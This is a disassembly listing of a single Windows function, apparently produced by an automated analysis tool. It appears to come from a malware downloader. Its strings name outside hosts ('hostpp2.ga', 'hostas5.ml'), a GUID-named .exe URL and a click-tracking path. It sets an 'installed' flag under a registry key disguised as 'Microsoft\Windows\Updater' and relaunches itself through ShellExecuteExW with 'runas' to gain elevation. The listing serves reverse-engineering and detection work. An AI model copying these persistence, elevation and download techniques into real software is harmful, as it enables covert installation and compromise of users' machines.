Function at 0x40e5aa
Capabilities:
Create process on windows

Disassembly:
push 0x190
mov eax, 0x427e3c
call fcn.00410aaa
mov edi, dword [ebp + 0x10]
lea eax, [ebp - 0x134]
push 0xf0
xor esi, esi
push esi
push eax
call fcn.004123e0
add esp, 0xc
lea ecx, [ebp - 0x134]
call fcn.004013d7
mov dword [ebp - 4], esi
lea ecx, [ebp - 0x2c]
xor eax, eax
inc eax
mov byte [ebp - 4], al
mov dword [ebp - 0x178], eax
xor eax, eax
push 0x438f58
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
call fcn.00406a23
push edi
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 2
call fcn.004066a8
lea edx, [ebp - 0x2c]
mov ecx, eax
call fcn.0040702e
lea ecx, [ebp - 0x44]
mov bl, al
call fcn.0040680e
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.0040680e
test bl, bl
je 0x40e71e
push str.hostpp2.ga
lea eax, [ebp - 0x44]
push str.http:__www._s_20190118_5E76E2A0_47D0_42A8_B748_ACD67B499273.exe
push eax
call fcn.00409296
add esp, 0xc
lea ecx, [ebp - 0x198]
mov byte [ebp - 4], 3
call fcn.00408972
push str..exe
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.00406a98
push eax
lea ecx, [ebp - 0x2c]
call fcn.00406675
lea ecx, [ebp - 0x198]
mov byte [ebp - 4], 6
call fcn.0040680e
sub esp, 0x18
lea eax, [ebp - 0x2c]
mov ecx, esp
mov dword [ebp - 0x178], esp
xor ebx, ebx
push eax
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.00406abf
sub esp, 0x18
mov byte [ebp - 4], 7
mov ecx, esp
lea eax, [ebp - 0x44]
push eax
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.00406abf
mov byte [ebp - 4], 6
call fcn.00409e88
add esp, 0x30
test al, al
je 0x40e70e
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x17c], esp
push 0x433b18
call fcn.004066a8
sub esp, 0x18
mov byte [ebp - 4], 8
mov ecx, esp
lea eax, [ebp - 0x2c]
push eax
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.00406abf
or edx, 0xffffffff
mov byte [ebp - 4], 6
mov cl, bl
call fcn.0040a3cf
add esp, 0x30
lea ecx, [ebp - 0x2c]
call fcn.0040680e
lea ecx, [ebp - 0x44]
jmp 0x40e8fe
push edi
lea ecx, [ebp - 0x198]
call fcn.004066a8
mov edx, 0x433b18
mov ecx, eax
call fcn.00407062
test al, al
je 0x40e74d
call fcn.004089e9
test al, al
jne 0x40e74d
xor ebx, ebx
mov byte [ebp - 0x171], bl
jmp 0x40e756
mov byte [ebp - 0x171], 1
xor ebx, ebx
lea ecx, [ebp - 0x198]
call fcn.0040680e
cmp byte [ebp - 0x171], 0
je 0x40e908
sub esp, 0x18
mov edi, str.installed
mov ecx, esp
mov dword [ebp - 0x17c], esp
mov esi, 0x4353e8
push edi
call fcn.004066a8
sub esp, 0x18
mov byte [ebp - 4], 9
mov ecx, esp
push str.SoftwareMicrosoftWindowsUpdater
call fcn.004066a8
mov edx, SysReAllocStringLen
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x198]
call fcn.00409ada
add esp, 0x30
mov edx, esi
mov ecx, eax
call fcn.00407062
lea ecx, [ebp - 0x198]
mov bl, al
call fcn.0040680e
test bl, bl
jne 0x40ea0b
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x180], esp
push esi
call fcn.004066a8
sub esp, 0x18
mov byte [ebp - 4], 0xa
mov ecx, esp
mov dword [ebp - 0x17c], esp
push edi
call fcn.004066a8
sub esp, 0x18
mov byte [ebp - 4], 0xb
mov ecx, esp
push str.SoftwareMicrosoftWindowsUpdater
call fcn.004066a8
xor ebx, ebx
mov byte [ebp - 4], 1
mov dl, bl
mov ecx, SysReAllocStringLen
call fcn.0040a2b9
add esp, 0x48
call fcn.0040e467
xor eax, eax
mov dword [ebp - 0x1c], ebx
push esi
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
call fcn.00406a23
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x44]
xor eax, eax
mov dword [ebp - 0x34], ebx
push 0x433b18
mov dword [ebp - 0x30], 7
mov word [ebp - 0x44], ax
call fcn.00406a23
lea edx, [ebp - 0x44]
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x2c]
call fcn.0040a52b
sub esp, 0x18
lea eax, [ebp - 0x2c]
mov ecx, esp
mov dword [ebp - 0x180], esp
mov edx, str._click.php_cnv_id
push eax
call fcn.004070a3
pop ecx
sub esp, 0x18
mov byte [ebp - 4], 0xe
mov ecx, esp
push str.hostas5.ml
call fcn.004066a8
lea ecx, [ebp - 0x198]
mov byte [ebp - 4], 0xd
call fcn.00408ab4
add esp, 0x30
lea ecx, [ebp - 0x198]
call fcn.0040680e
sub esp, 0x18
lea eax, [ebp - 0x44]
mov ecx, esp
mov dword [ebp - 0x180], esp
push eax
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.00406abf
sub esp, 0x18
mov byte [ebp - 4], 0xf
mov ecx, esp
push 0x436fc4
call fcn.004066a8
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x134]
call fcn.00401c0f
lea ecx, [ebp - 0x44]
call fcn.0040680e
lea ecx, [ebp - 0x2c]
call fcn.0040680e
jmp 0x40ea05
lea ecx, [ebp - 0x2c]
call fcn.00408c7b
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
xorps xmm0, xmm0
mov dword [ebp - 0x138], ebx
cmovae eax, dword [ebp - 0x2c]
mov dword [ebp - 0x160], eax
lea eax, [ebp - 0x170]
push eax
movlpd qword [ebp - 0x150], xmm0
movlpd qword [ebp - 0x148], xmm0
movlpd qword [ebp - 0x140], xmm0
mov dword [ebp - 0x170], 0x3c
mov dword [ebp - 0x16c], ebx
mov dword [ebp - 0x168], ebx
mov dword [ebp - 0x164], str.runas
mov dword [ebp - 0x15c], str.__elevated
mov dword [ebp - 0x158], ebx
mov dword [ebp - 0x154], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x40e8fb
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40e910
mov dword [ebp - 0x178], ebx
lea ecx, [ebp - 0x134]
call fcn.00401ba9
mov eax, dword [ebp - 0x178]
call fcn.004109f7
ret 0x10